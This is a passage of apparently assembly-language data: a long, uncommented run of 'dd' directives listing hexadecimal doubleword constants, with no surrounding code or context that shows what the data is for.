3CD1E3EAh, 9803EF39h, 81F36101h, 0BBA39DC6h, 23F43A6Ah dd 2AD12EAh dd 0E6AB8F05h, 6058D262h, 1CE3284Bh, 0EE30E9A2h, 8A652D6Ch dd 3C5434C2h, 0A1CF5E62h, 8FA67298h, 0EA88304Bh, 66DCA6C2h dd 0CDD30130h, 217BF420h, 0BF6AE416h, 0CFA3A007h, 0B2B135F7h dd 0A040D332h, 0ABF80EF0h, 5A3C809Ch, 288059Bh, 884BB0DBh dd 0E3729318h, 0CDF9C413h, 0AC6FD824h, 9860530Bh, 6492E890h dd 0B15C4E00h, 97CDF63Dh, 8D1D1DBAh, 577940F0h, 6186C35Ah dd 70C254Ch, 422D3D19h, 0A4FCC0A5h, 81F4F616h, 600A8858h dd 0C88A7D54h, 0E89B5CB4h, 4AA67A4Bh, 7938A286h, 0DB89CD00h dd 7AB065D0h, 43E64E8Ah, 0ADAB4858h, 9B0049A6h, 83E113Ch dd 3DB8F286h, 9389B18Bh, 4C59CDA2h, 2934F380h, 95BAF92Bh dd 17AD1C95h, 8F69915Ch, 423BC09Eh, 12D42A27h, 151567Ch dd 36C37828h, 0C46311h, 7D7F131Eh, 4C6A3Dh, 0F5AD27DDh dd 451ACBF8h, 0B6C95D0Bh, 110C9D2Ah, 0AE7A803Eh, 5CD2E69h dd 0D0CACE87h, 3C64B4BAh, 3F3FCC89h, 3FD2388h, 0C33652E6h dd 80A4E8B4h, 73AB8A4Eh, 0ECC11E22h, 0C0B45ED2h, 1A163575h dd 4704235Ch, 42C062FFh, 60C5h, 0D31FCF31h, 952C9892h dd 0B110741Bh, 6E5B99D7h, 0D8630078h, 0FC9CCB5Ch, 6C46953Fh dd 7DB702EDh, 0F4FBC80Bh, 0D28BE70h, 91D88CC1h, 5C387FA0h dd 8EEF5FCDh, 0C0FEC868h, 0DB225183h, 4B1FCA00h, 1989FCAAh dd 94ED9D26h, 0E04AD9C2h, 1725CA31h, 120C7C20h, 1050F26Ah dd 0C05F5376h, 9093F778h, 3A715C39h, 0A67389BFh, 112C9D77h dd 0C44580FDh, 7A52DB58h, 0E81259D6h, 0C4BB0814h, 0A410702Fh dd 0E283F5EAh, 82A05477h, 0F882E6EDh, 44E42Bh, 9B96AC93h dd 594A7B2Fh, 0C20294BEh, 0F4C5EA99h, 6D467650h, 48E7A001h dd 0D00B81B0h, 0C6278D2Ch, 0C11CC2D6h, 4C6CE2AEh, 0AECF070Bh dd 755F6C58h, 98B57480h, 7371C030h, 0A34F2BF7h, 80AF9739h dd 1ADC8996h, 9B71BA2h, 7511B390h, 465E68D4h, 293F00EAh dd 47822368h, 0B798031Eh, 0FB36927Ah, 0D42DF828h, 26EEEF0Ch dd 8DA0EBh, 345E796h, 0BE7A9F0Eh, 581B7009h, 6E9784F5h dd 43060081h, 6D802D7Eh, 9AA848h, 52F1C22Fh, 0F68DF746h dd 467E70BCh, 226F00FDh, 0CEEDE07Dh, 4265A64h, 0F8C8AD60h dd 40F24A84h, 9B3168F2h, 668E8C3Ch, 0A407E0A0h, 0E3000DDFh dd 0D0FB9A4Eh, 2DC8D99h, 679340A5h, 3A55B051h, 1130977Ch dd 7DE6816Ah, 64E2AEEFh, 62731F58h, 4CA4EF99h, 52FB432Ch dd 10F89CA1h, 89CBEE7Eh, 4FD80818h, 2F2CB299h, 0E4F865E7h dd 842760E7h, 4C671D17h, 12D8C1A7h, 3BDA99D9h, 0AD0E9012h dd 72F6A2A8h, 7BD0F0D4h, 0F8179D2Eh, 0D6806E91h, 2D7C3854h dd 0D9328003h, 25C38281h, 4C60EA68h, 8B166C23h, 78DA1DB4h dd 0A1F4CAC1h, 41D121D5h, 14597A6Ch, 1899E8A8h, 2F2E1086h dd 95B801FBh, 20AAC230h, 0C4012B6Eh, 4C5D0ED5h, 6DA23023h dd 0F457C30h, 9B43AAB0h, 0E893D840h, 2D25F716h, 0B90E4FFh dd 0CECF1513h, 6CEC1CE0h, 0FC80FE4Eh, 38872425h, 13CEB54Ah dd 65641E18h, 6B51FC5Bh, 0BA2EA718h, 3016D32Dh, 4180D8ACh dd 80E00CE1h, 6418D4F9h, 11100400h, 0DC855991h, 8E1A0241h dd 2A252B1Eh, 8864DC62h, 1CF4E49Dh, 1E256F8h, 87F192A0h dd 18D4C0F9h, 0CD117417h, 0E9727904h, 4AAE60B0h, 0A914C999h dd 6BD12841h, 0D4044518h, 0C580625Ch, 0FA328ACh, 0B8A216A4h dd 530E1F2h, 5D5E32DEh, 7A0015B8h, 80C182B2h, 0C795B49Bh dd 60FBC458h, 7E5563h, 41398733h, 88D74B98h, 9A9C3A18h dd 788F7B29h, 2F2973D9h, 3404C669h, 0EB34B82Dh, 0B624F382h dd 2EDC107Ch, 50A83516h, 0EC4758F7h, 999076B0h, 0D53D5F16h dd 1D4B00C8h, 1600482h, 0C8DE433Eh, 0C92422DDh, 0DDF4C2FAh dd 0C200C437h, 6EEA4687h, 58CE2E65h, 0D8F380B4h, 4AF15F3Dh dd 4CF7274Ah, 0C62D8B2h, 0DBA78056h, 0E0737000h, 0E85A860Fh dd 88016A8h, 0C031B172h, 3C0C4B98h, 250914AAh, 717B0A2Dh dd 4AFB02A0h, 8FD5FA95h, 0F00284D0h, 5BE7B907h, 0F8E57000h dd 54B21A69h, 0CCC8EA5Ah, 0CEBB00F5h, 3AE7E27Dh, 901D94D0h dd 9F00411Bh, 6710E9E1h, 20300027h, 6D42CD24h, 0B4BE1DB5h dd 5DF912D6h, 4368ADDAh, 3050E294h, 0BF00D45Ch, 0CFAA2C89h dd 549B9F51h, 0E8D898h, 9E5E2584h, 0EC13A352h, 609F3EF4h dd 25888F2Ch, 0CCC62A86h, 465E289Ch, 82CF01FCh, 996E003h dd 4AFC86F9h, 3F209223h, 0F809A070h, 0F8543D9Fh, 0AC851160h dd 8E600ABDh, 2FCCD9F9h, 0D6E05CEDh, 72A15CE3h, 0BDF81613h dd 8EA80B67h, 6C25AC74h, 64510E4h, 0B5870568h, 43AF9899h dd 2B2F693Ch, 3C94BBC0h, 1F20B300h, 0D229B927h, 2CD00435h dd 0ACD3B5FBh, 8C34BC54h, 29C37516h, 70808CECh, 625677E3h dd 403C21E4h, 0BB84806Eh, 0E2CE8FA6h, 2EB081DBh, 8723DC30h dd 25A47E70h, 205926BEh, 1BAE6C97h, 0E8ECD866h, 17342038h dd 44969278h, 0FA8B1368h, 6A00546Fh, 0E7CC463Bh, 332F347Eh dd 13302099h, 0F6B59EDDh, 0A3D50070h, 0BA4F76E0h, 0BF098085h dd 713C4503h, 0EE8F824Ch, 0D4F61EBEh, 4026F8ECh, 210B77E4h dd 0D2EBE203h, 0FCED44A4h, 57866400h, 54247C77h, 9FC09055h dd 0CA60484Dh, 4B79F5Dh, 0BD46F93Dh, 0C2ECE8CBh, 0D0BA91F8h dd 0F898957Ch, 2A278A78h, 89B022CBh, 4498D60Eh, 9D6E41FFh dd 76005BE9h, 9CB41A61h, 0FB032086h, 95B0F089h, 303BE8C3h dd 9CA74A3Dh, 39FB0D18h, 5E75861Bh, 0E0074DE6h, 2179BC4Ch dd 4C056C53h, 2C4148F9h, 122E86FDh, 232C3EE0h, 2921006Fh dd 0EC5A327h, 0C924CE1Ch, 1879E00Eh, 4B8B2649h, 6008CD86h dd 0FA22114Ch, 0F5CA2997h, 3D010BA0h, 46761076h, 31E4041Ch dd 10F3F603h, 0C7E8F55Ah, 4D36AE1h, 3AA200B8h, 3DF4742Bh dd 0F94421C1h, 0C49B0236h, 0C97D00BCh, 0CC861180h, 8F095E53h dd 5CB1B006h, 0F24676D0h, 166D7B00h, 3952D25Eh, 0F0BE452Eh dd 0CC62920Ah, 8D1AB985h, 47F38C49h, 63EDC40Ch, 66B3B820h dd 69F70110h, 0D3828A9Ah, 809B6AF0h, 0B16CD282h, 0B37044D3h dd 799304A2h, 0FF8B6BF7h, 0CACF034h, 3C8C0BBCh, 4717C1BAh dd 0A694F499h, 0CB5D6307h, 0D640DF19h, 0FBE3A3F6h, 25B57E8Bh dd 0F7243CF8h, 2F09F915h, 0CBD0D4E9h, 445C86Dh, 563694C1h dd 0E024B407h, 0BC502C0Ch, 1432F4D8h, 440EE0D4h, 0D86C00D8h dd 6A4AEE01h, 8614A0B2h, 98885BDh, 5E0D2DA7h, 0E0A608A8h dd 0D1B0640Bh, 186DD158h, 7A47001Dh, 0A920118Dh, 6567ADE1h dd 6DC06721h, 1DF915FFh, 403635D5h, 540BCDC3h, 0A404E86Fh dd 0FAB27B69h, 2E4ACE0h, 0C19D4A87h, 6CF113B5h, 8054D327h dd 538AA9D1h, 0B6F240B8h, 0B85C1D5Dh, 0A6B0002Ch, 6261D62Eh dd 0E2B83A8Eh, 0E60C412Dh, 58ACB33Ch, 0CA6FF54Fh, 95CAE40h dd 51408158h, 0DB2A97E6h, 0FAD8C1E0h, 302F211Fh, 8EFE8D08h dd 0D4BAE726h, 297157C0h, 0C6E401FAh, 0DF9C1704h, 0FE182030h dd 0A1102C17h, 8C77203Ah, 28CE3E00h, 4D0FFB5Ch, 0B8E0B58Fh dd 8C9173E0h, 8E8A8809h, 165A6880h, 343C0805h, 72827885h dd 0E31E04D1h, 0EDBCCC3Ch, 0EF940F8Ch, 69C02B0Ch, 1D4A5AA4h dd 23D83350h, 701040B5h, 5EBFAC0h, 6AF0ED37h, 104BBA2Dh dd 47C5184h, 1F3DAD4Ah, 187EB2BFh, 8270F6AEh, 0A895662Fh dd 0AC869448h, 36987D18h, 7EE113E9h, 0DE6D00C3h, 16669E9h dd 0B00D8E8h, 85A4B50Eh dd 7DBC96A8h, 0F8B05393h, 0CE30E1A2h, 0FF33257Dh, 8B4EC8C4h dd 1F46F0A0h, 657520ACh, 0EB11BC97h, 81547780h, 0F17A357h dd 7CCD46D3h, 23AC2B3Ah, 0D6130FFBh, 0B7D20781h, 0A0642EF6h dd 0EDE00CB6h, 3B282A45h, 8926E487h, 8C01E404h, 67E26D10h dd 8038B804h, 5BA1CEB8h, 2811FC61h, 4FB88B8Fh, 0E064E6D3h dd 27942A28h, 0E0A2AEB7h, 0B05743F6h, 24CB2D24h, 12ED5AA9h dd 0C4F0E4AEh, 8B895800h, 31B5B72Ch, 0AF713B39h, 0BCE24Fh dd 68BE7A69h, 110D64Bh, 1A024F8Fh, 3326BCC1h, 88F50098h dd 0CA445BF0h, 8FAC0311h, 0D692527Ch, 3F0FCC90h, 5E78EE5Ch dd 16FDD0E4h, 0A80BC972h, 22A3A280h, 0C85C78E0h, 0D8F44B80h dd 0F1C473FEh, 0FF44883Fh, 0DD426300h, 8E17A893h, 6AFB0B56h dd 88540ABDh, 816213BCh, 0BC77CB0h, 0E1646125h, 80F6FCA1h dd 3EFD1075h, 0BB9425F7h, 8B6F9811h, 715A0DFEh, 0E8102754h dd 0D61368A1h, 100FAB89h, 2D2EF04Ah, 0F4AD1600h, 0D0EA3A8h dd 8049B99Ch, 0FD31BDB3h, 93C012DAh, 394D013Bh, 7A76193Fh dd 0BEEE04D0h, 0A444B5CFh, 71C09A79h, 0A558B3AFh, 4D39004Ah dd 0CEDB0327h, 89974860h, 0CD408044h, 0C0F20E0Dh, 0FCDD7AC1h dd 14A051Ah, 0E0BEC044h, 17EF2540h, 0E2580ACFh, 0C8490A4h dd 30395152h, 60F63ECAh, 1351CC30h, 2494FD03h, 66599D41h dd 20F4C507h, 0BF2F5C8Ch, 10B3A705h, 84532CADh, 0CCF1500Ah dd 46827A82h, 0EB5CD6E8h, 3449F00Ah, 1EC4B218h, 0DA029A68h dd 5E222B1Ah, 40CF4464h, 19DD1385h, 0E6B10166h, 6A7A8638h dd 1DDC2DEAh, 0E74D64h, 1860DC5Ch, 8871C5F1h, 0B820BF8Dh dd 25A79350h, 70ECA551h, 85819F7Bh, 90841C60h, 59D60BF0h dd 48001148h, 553E64E4h, 9C5270BAh, 19DF00D8h, 22788434h dd 0B2032456h, 12AB12F4h, 5C4CE39Ch, 8CFBBC34h, 5F5CDA2Eh dd 0B4A27900h, 95C2CE8Fh, 0AC5EB882h, 8DF69048h, 7728309Fh dd 8C6295CDh, 0ECA39800h, 17B51129h, 80E8919Ch, 2B45DE6Ch dd 2572011Ch, 0DBCD2CF3h, 0A2CC36CBh, 806D30FCh, 0FDE723Fh dd 85CFF2C5h, 4AE6952h, 0AA074DA0h, 3423843Eh, 0D83B1A00h dd 1656BE5Ch, 0A854AD76h, 6D39E7A0h, 0E93A60B4h, 98BF1597h dd 25C68D18h, 0C047D26Ah, 1B60E964h, 0A64B656Ch, 0FC0140C1h dd 0C954C82Fh, 71C0899Dh, 0F845AFACh, 0FA606EE4h, 4100B0CBh dd 0F715B516h, 0B6C8D93h, 39403A75h, 38D18871h, 0E402D918h dd 509510B4h, 0D415D5B3h, 72EF09BBh, 0EA48C8E5h, 8659D52h dd 0DE927A04h, 242EBCA1h, 1082AA80h, 0FE810059h, 48C237D5h dd 0C2B1AB65h, 443CC72Ah, 0C52160E1h, 38F312A1h, 886CF208h dd 4B0A8C6h, 6B0F0193h, 0F428ABA6h, 0F3994ACFh, 3150B274h dd 9FCAFC60h, 0CB66D604h, 81595Ch, 1300E415h, 864A536Bh dd 48841CE2h, 804CF978h, 0E8F48A92h, 7DD9000Eh, 4204038Bh dd 630976CDh, 2141FB3h, 5E5C5E38h, 0AA1A4520h, 0BB03346Bh dd 72D7A0EAh, 0E46FA7A1h, 3E4B91F8h, 6F46C80h, 268876ECh dd 0BE8B8EBh, 8EFF08Dh, 0AF529740h, 0CC312668h, 0A98A12B4h dd 182ED274h, 2B003F23h, 5F8FFFD4h, 0FB91DDEh, 4A42027Bh dd 505E0EA9h, 0C4DCC55Ah, 2B56616Ch, 508DCFF0h, 40AABC28h dd 14007F6Dh, 154F4887h, 3E5DA966h, 2580753Dh, 76CC54E4h dd 0D11F28CDh, 0F3055272h, 53FA5EB1h, 0E814E8BCh, 0F7D8C1Fh dd 8FC180EBh, 0EC97D2Dh, 0A8A6002Ah, 912036E9h, 967D98B4h dd 641D2B27h, 0A5AF3B18h, 405BEE9Ch, 4EE6B3B8h, 415C6499h dd 89ED300Bh, 2185DDh, 439CF12Ah, 91B18D75h, 7AD7A500h dd 0CFC9F2FEh, 22323B1Dh, 168205AEh, 7D74D1F4h, 98DE3B73h dd 0FE31DF80h, 181DF06Dh, 0A06D6E30h, 0D2EE8DA8h, 0D80E80E0h dd 7125D0B4h, 18E87960h, 9DCD055Ch, 81800E7Fh, 5F77AC8h dd 7174440Ch, 0E5B825A9h, 5CF46CABh, 0EA9101DCh, 66BCC68Fh dd 0B22073A4h, 205131FCh, 7B0BA24Eh, 544A1F54h, 1CFE6B80h dd 3A8209DCh, 0A04401D0h, 0A30B3101h, 63ADA6D5h, 3BA43C10h dd 0F965EF00h, 0B3FD9325h, 0CFECED9Ch, 0FB041748h, 0B810E9E7h dd 16110364h, 0AAD943A1h, 0F97A6B8h, 0DB4ECF7Eh, 0E2438DCh dd 8E41C931h, 74C599E9h, 2F601CE4h, 0FC9A2696h, 855878EAh dd 0F06E104Ch, 7D2ED048h, 25108B5Ch, 0AAE8B043h, 0AE4BC0E0h dd 50C39C5Dh, 0E8A4B8ECh, 83223Fh, 0EE0CCF14h, 0E7669C7Ah dd 782A9209h, 25885C2Ch, 0E62D8C78h, 0AE45397h, 24606061h dd 8D910080h, 8CAFF99h, 24702000h, 617323B3h, 774606D6h dd 58E0EEE8h, 976491C8h, 0C1E900B4h, 0EE465D6Eh, 0A703D8EEh dd 0AC893FF1h, 5ED9DAB8h, 2DB00003h, 0CF99F37Eh, 0BA5C3504h dd 10ED81FBh, 0A0A4B692h, 7B90858Bh, 0F7972D05h, 6000AC58h dd 0B9B39D98h, 136C2478h, 6E1DB688h, 0AE860EB8h, 0F2E4C0C8h dd 2D729428h, 0C073CA77h, 0F8B5ADh, 1FDEFFABh, 9F0043C8h dd 50ACA50Dh, 9BC1156h, 0E003108Fh, 7D6E9C68h, 17691620h dd 451EFE8Dh, 0BA6DD814h, 7022A852h, 0B73CE124h, 2730812Fh dd 0B5B20CB3h, 0A06FB0CFh, 0F4E36E4Fh, 0DD9400F9h, 0A473F2EEh dd 3B4A0E74h, 0EBE2C4E3h, 930DC30h, 7A97A15Ah, 6147CC7Eh dd 0DCF91Bh, 23B8F293h, 0F6166016h, 0E8A85AF3h, 901637B2h dd 1AC32681h, 0F20F1228h, 58B9C898h, 29CD243Fh, 1801215Ch dd 49A5CD2Ch, 985CA8C2h, 0B317E56Ah, 0CC4464BCh, 0E3B40585h dd 0BB6F1290h, 61078030h, 9552701Ah, 0E8D994D1h, 7BE44718h dd 514DA4Ch, 0D556C68Dh, 160838ABh, 0ED971092h, 0F94BC004h dd 0C35049B3h, 0F14146D0h, 0AB5C742Eh, 5A00886Ah, 0A1BAD387h dd 1F03FCF3h, 0EE8FC144h, 0E488C586h, 9F504009h, 4246741Ch dd 78E2FD12h, 0E53CB64Ah, 771020AAh, 0E60979C4h, 767405F3h dd 305DC94h, 0F9DE9C12h, 30CC13FFh, 0B544A818h, 0F0666018h dd 16882381h, 6E1A778Eh, 8E690F98h, 3004D271h, 0E702515Eh dd 89752EEEh, 0EB4854ECh, 316428E5h, 0F57BD060h, 3A6EF203h dd 0E85A126Ah, 4B6D4AFAh, 0A824D333h, 2FDC7F99h, 77E06421h dd 244909C3h, 10D13FFDh, 330B7A5h, 0E2C27435h, 0D32BB1D8h dd 0F85872E6h, 0E4598494h, 6E2D8CFDh, 1E4AC8D0h, 0FAC84B9h dd 39279F03h, 8C93057Ah, 0A20A0C0h, 70E6957Bh, 14627CA1h dd 8BAC32EAh, 70256C5Eh, 456E1730h, 5A24BC3Eh, 660940A3h dd 0CA84CFBBh, 0C124BCC4h, 5B0E6D6Eh, 33FF0301h, 0A19D12F8h dd 0A7022ABh, 0F4605C74h, 0BFDC6004h, 8B6CC810h, 0C929FBE6h dd 3ED1FCCFh, 0D2833019h, 0D99B092Dh, 54AD0034h, 41C404E8h dd 0FA86DC05h, 0CB04572h, 2C94A126h, 342B0461h, 669404E4h dd 0C1E4B9F2h, 0C6C2B1D8h, 95B3220Fh, 1F709473h, 870C4E63h dd 7A91C245h, 242EE4D0h, 3101A3B4h, 2D73D651h, 8810CF2Fh dd 0A23CC267h, 185C24E2h, 1A44D660h, 0F045B574h, 45046DA5h dd 87306090h, 0AD2EA070h, 20838F1h, 0C8611FFEh, 0F60606EFh dd 4BA97287h, 22C88AF0h, 5EF09427h, 6C00EA46h, 0B67DBA50h dd 8F77D872h, 4A76040Ah, 9E09F484h, 84F07399h, 0AEAA6BF6h dd 277BBC02h, 0D4B777F0h, 7742B780h, 0B8AC93F7h, 6ABA2074h dd 0F9850644h, 91DB7ECh, 0F87EE00Fh, 4527C473h, 62E9646Ch dd 0F4B887B8h, 0C67B5B11h, 23342F3Eh, 0B6803B69h, 312543D6h dd 88134599h, 0D4BC0EEEh, 0ADD0CC4Ah, 0DB397C60h, 0DE6F46h dd 610A5328h, 777AC618h dd 0C293C525h, 44D8C7A4h, 6BA367EAh, 6E8A90F7h, 23124F75h dd 5C2E06Ch, 0A2208229h, 3038DAE1h, 73A8C56Bh, 47970D1Eh dd 60324414h, 26EDEE1h, 3C7850CAh, 0C4408994h, 802C5415h dd 930E24B3h, 0FC2009FAh, 0E8791AE4h, 2C3755h, 63E33BF0h dd 412570CDh, 0F0D8FAAEh, 0F98A40DFh, 0B6844400h, 58EFAB2Ch dd 6A392457h, 0AE450508h, 0CE20FC54h, 0D4A87697h, 0E0C4A6D7h dd 1CD19C1h, 0FEDE9D26h, 2ABC0762h, 7EF55C09h, 4E24DCC0h dd 87027103h, 0DAD96ACEh, 0E1993014h, 0F58B8C29h, 3F80AD52h dd 361680EBh, 2D41D3E3h, 20D10012h, 8A1F2591h, 0E6082F76h dd 1F5F8274h, 89B51FB6h, 0E0004303h, 2BBB6F5Eh, 85247F1Dh dd 0BD1326C4h, 0B87C12EEh, 0F28C4290h, 0D8F53132h, 8C05A942h dd 352359D4h, 0CCDE5858h, 3A6C00D7h, 0B83CE6E3h, 2E0F0E46h dd 131FE52Fh, 884A60E3h, 28079B24h, 0BA7BDC80h, 0CFC41E00h dd 3F5F3BEBh, 919EC500h, 605198E9h, 207C1697h, 8D091E24h dd 57F216E6h, 0AEFFB8A4h, 200F1062h, 17F029ECh, 18AAD03Ch dd 20E2F6CCh, 5E1A0126h, 6E137E7Ch, 449B3BECh, 0A2E4E8C0h dd 27268C70h, 6109B84Ch, 2D05267h, 0B92CB07Eh, 6489E986h dd 3D70F8FBh, 329A003Bh, 716A2BEBh, 760283C4h, 6E185781h dd 7C9AFFCDh, 6CB55Dh, 5C5FC9B8h, 0FD259FD3h, 0A524718Ah dd 0F1058844h, 6892FCB6h, 132B20F1h, 6D06F68h, 0FA0EBE85h dd 0DB8400B9h, 1BB8271Dh, 15044DCCh, 854AF15Ah, 7E8404BFh dd 4862AECBh, 802BF6h, 5272802Eh, 70A0A14Fh, 0FB070943h dd 8440014Ah, 0C5015691h, 0CD558C22h, 11EDCEB8h, 4B34922Bh dd 10B81E24h, 0F244CC0Bh, 2456F4A9h, 0F1D005C9h, 148C02AAh dd 0BC926EE0h, 21C08557h, 0E258E0A8h, 0E0638925h, 0EDF91818h dd 2C99D8B8h, 83C4FFB6h, 66B1FB36h, 0A49B1126h, 84616547h dd 0B22B1AFCh, 2AB209ACh, 3AEC59FBh, 0E86091A5h, 0AC629ACDh dd 56CB0ABEh, 4AFA11E8h, 600EC4E0h, 0D87A11C9h, 915D62FCh dd 0CC700000h, 0EAB683C0h, 20CE95F4h, 2A203890h, 0D6873D6Eh dd 1F60004Ah, 24309F0Eh, 0AD8A793Ch, 292CC8C4h, 0E7984A38h dd 8D121020h, 23B42E96h, 0E21F00F1h, 28420E4Ah, 29732702h dd 5766656Ch, 10C81464h, 0BC4DA5A2h, 8160FD64h, 0F4049645h dd 9A490AC1h, 1A0DB0A0h, 58E4CACFh, 0FA04B054h, 8CA03552h dd 888E4EF6h, 0C12072E0h, 4887580Bh, 8C31E8h, 19AE44D5h dd 93A42771h, 307BDFE8h, 5168FD17h, 4A8038F8h, 0CDA07E9h dd 6EA5EF02h, 0D56D727Dh, 882D5036h, 0B94050F1h, 181CD934h dd 9FA1029Bh, 5EB138C0h, 8882B059h, 77BAFE8Fh, 5C33B08Bh dd 0CFC6CEE0h, 0E897FD82h, 465C64ACh, 4FDB1E3Dh, 82527809h dd 21F063C4h, 2B8A8F8Bh, 0D26F3828h, 0CC6EEB61h, 8F20C701h dd 84CE2AEEh, 74BBCD8h, 0BC80C4DFh, 708790B6h, 0C4B9AC01h dd 0C61299F8h, 0C834AA04h, 10F1ECC0h, 79309391h, 0C56C70E1h dd 0BD760B00h, 1A56D199h, 2BA31666h, 137C8DDFh, 1FCCB94h dd 0E616B1F2h, 0F0A0DC2Ah, 0A4201C98h, 25C898EFh, 0B05BF4D9h dd 0F31288h, 0D8AE9766h, 262433CFh, 2B019631h, 0FE778703h dd 6EBCE428h, 58D728Ch, 0AAEAE93Ch, 8018EC03h, 8E3DCB4Dh dd 0FACC1FBDh, 0A09B9848h, 65002CDDh, 6AFB1A91h, 0BF97E669h dd 8955CCC4h, 0B81C79F4h, 8D1724F8h, 0D8582D78h, 91543595h dd 11FD803Dh, 2982AD0h, 0D172755Eh, 505697F9h, 0C4C46552h dd 41ED606Ch, 53DA2D48h, 649A28FAh, 4097B49Ah, 0D22FB5A8h dd 0A008BFB8h, 192E0067h, 6135F2A5h, 0FC40605Bh, 0B0132621h dd 57EB0270h, 6332337Dh, 0DC1474h, 0F07C92C6h, 0A5B05C71h dd 0E8E998C4h, 0FBE8CC16h, 0EF055214h, 97843B58h, 54C88E48h dd 446F4CE0h, 1CD2EEC2h, 0D0EC0E02h, 4A460F84h, 0A99640D7h dd 0B8F6D63Ch, 3A709EA0h, 0A453BF02h, 0D50B7FD3h, 0FCDD3C18h dd 446CCDBFh, 942260EAh, 0F7BE0F48h, 0DE9CC7Fh, 0BDB830E8h dd 0A5222700h, 44C40920h, 736F408Eh, 0AC2CF307h, 5679BC0Fh dd 0A05E6950h, 97C23FDCh, 28512FA5h, 0C1889C0Fh, 0A38D6A34h dd 10E1B07Bh, 2456D900h, 5CA0852Ch, 765D090Fh, 18D6EE6Eh dd 0EAE7FDCh, 0A275A83Bh, 95EBE960h, 0C6BF1D8Bh, 88554ECCh dd 4572789Ch, 44E497h, 5777FF31h, 0DFBA4E88h, 0DBA9AB00h dd 0AF1A2845h, 5B567F74h, 9174E49Bh, 1821BB00h, 71B01450h dd 8AA100B9h, 29EA96Ch, 89B8CEE1h, 473862BDh, 603844C4h dd 0ECBE045Ah, 56A00992h, 24727D10h, 0AC88D898h, 0E648E4F1h dd 44A04E14h, 3C6C4947h, 38B24Bh, 0B4A3FBFCh, 58BC9DEDh dd 1401F070h, 9688806Ch, 5282286h, 0EAF89F11h, 92EEB402h dd 6E747AC0h, 0C625797Ch, 2DCAC5Eh, 25702075h, 3007D7BCh dd 4680F86Fh, 2E072D93h, 64E8BF78h, 0C712FDDAh, 6BAA1DB6h dd 393C0170h, 6699F718h, 0FC7919AFh, 4EC16200h, 53438Bh dd 9DC2D34Ch, 94614C7h, 0EEB5EE25h, 7C5B9520h, 12022050h dd 1E1144C9h, 7C01E200h, 73EA30C5h, 5CFC4260h, 0BBF00F2h dd 0C209F79Ah, 6AFDE1FBh, 1300708Bh, 5329CB24h, 0DE28FE8Eh dd 865FA8EDh, 5088E8E2h, 0D470F469h, 3356F201h, 71F3BD4h dd 58E22Eh, 223D343Ah, 8014018Ah, 2580776Eh, 0F40E302Dh dd 19C3FF29h, 0FA368500h, 750402CAh, 98DE150Fh, 18E84C40h dd 0AE0E3400h, 5C32A5D3h, 366112ADh, 0AE08B3E1h, 0F2E8584Ch dd 19D1008Ch, 54E8866Dh, 9D2DEA1Ch, 0ECCC499h, 1B9CA6C5h dd 2A67C7A0h, 1F13A009h, 0BABBDB4h, 9894D2CCh, 9725F722h dd 33C064EDh, 880E98A0h, 46011A65h, 11AD7CAFh, 0DC6A873Eh dd 61D3FA9Ch, 678C27AEh, 34E03EE6h, 42810108h, 90053A12h dd 0B24E5CA3h, 0BA2C0024h, 0A22DCC30h, 101B7915h, 276718C4h dd 42145C1Dh, 5309C1E2h, 85BAD0Ch, 72AEBD50h, 3FA101F3h dd 0AFCBEDD9h, 10642BDBh, 80389AABh, 789B04C8h, 794B060Ch dd 0B1EA4E92h, 313D7210h, 0D451232Fh, 365E8900h, 747BB537h dd 12775FC8h, 23843A5Ch, 66750A67h, 6D02CBB0h, 0B056E732h dd 3968E184h, 1F606FFFh, 0EE82D9F6h, 0FF42A99Ch, 959FE496h dd 85EA9160h, 0C0813B48h, 9E2BF26Eh, 0AF148068h, 15F4232h dd 93F74C26h, 3B6CE0AAh, 251834CCh, 88588D23h, 0CBDB7h dd 86C1A299h, 0CD4A269Ch, 5B7380B3h, 7548D07Ah, 330524F4h dd 0EC23F57Fh, 0A21C60B2h, 7A43803Fh, 644A6F22h, 5EE95800h dd 9FC4DB95h, 7942052Ah, 880D5477h, 0B9787FD0h, 556C3604h dd 40B0E6A3h, 0B1754A1Eh, 50986F60h, 1FDA003Ch, 78EA93C1h dd 90015FCh, 24F1D18Dh, 0B5924F68h, 0CDBD4C66h, 5AAC11Ch dd 0D4C87EC3h, 20B04Fh, 0F00BF9E8h, 0CC3D1AE9h, 0F4F6FE01h dd 0E7971E8Dh, 254E42C4h, 185C8B11h, 10A4674h, 4861772Dh dd 342F7F89h, 3421AB48h, 0B9C8BF39h, 266000CFh, 5A55B691h dd 0C505FC7Eh, 0F156D393h, 7A879CECh, 94F4EBB2h, 7DB5EA01h dd 9470E9DFh, 9AAF4B10h, 0C10AC8B0h, 2BF0DE3Fh, 0CC708C20h dd 5D7D104Fh, 1FB8B239h, 829FEA91h, 0F5032218h, 0E08A2C5Ch dd 7F005871h, 2CC250EAh, 23C6090Bh, 30182676h, 4900B04Ch dd 6C4A675Fh, 0BF99F6EDh, 0C09F0064h, 40BC24A0h, 48FF772Ah dd 8100B9B8h, 882F5A66h, 75025h, 72716C96h, 0E70F108Fh dd 55181A97h, 88409C1Ah, 0C5B53E1Dh, 51520560h, 0A4181237h dd 0A5F8FB84h, 14E9EE4Bh dd 4AD65610h, 8238D008h, 0CDDAC68Dh, 0B6209C72h, 94FEF862h dd 5440A54Ch, 0F5304A43h, 99AE50E1h, 7469C996h, 467C507Ch dd 60E10F68h, 0A0C8D66Eh, 780E0090h, 8910F0ABh, 9499B28Fh dd 1218FED1h, 0AC7F9702h, 56215F1Dh, 0AFD4028h, 667C4989h dd 71F23EB8h, 0FF785517h, 0D887FCF8h, 4E57481h, 38F40DE4h dd 9660011h, 0A687703Ah, 683A6C49h, 0DC0500BFh, 65D2CB84h dd 20254FCAh, 7F620788h, 0A4BF0B00h, 6A3043D9h, 0BF2A7AB7h dd 0CE8E14C0h, 9E97620h, 6EAE456Ch, 467ED8F4h, 335E00FEh dd 0CEF4B384h, 0F3885FF6h, 50E927C4h, 0D09B5F98h, 7DB32AD4h dd 8E16EE0Fh, 4BC94073h, 0AAEA544h, 3DD52FCh, 902A1888h dd 6A9764CEh, 0FA1C82D0h, 12685AE0h, 0B30D0B18h, 310AA208h dd 2131CDB7h, 6C847F3Fh, 81CC9BAEh, 4338937Dh, 107E442h dd 23F40323h, 2F7721F0h, 0C8FC10E2h, 46DA00DCh, 8B1ECC63h dd 619F0EB7h, 0DC487F90h, 194A07B3h, 0BBD7CCB2h, 35BF2070h dd 52BC8ED0h, 87798B7Ch, 732F3056h, 1A4D024h, 28DAF3Ch dd 0B18B2330h, 4E85CE8h, 0BF750B7Dh, 813A7889h, 7DA2D368h dd 0E23BB820h, 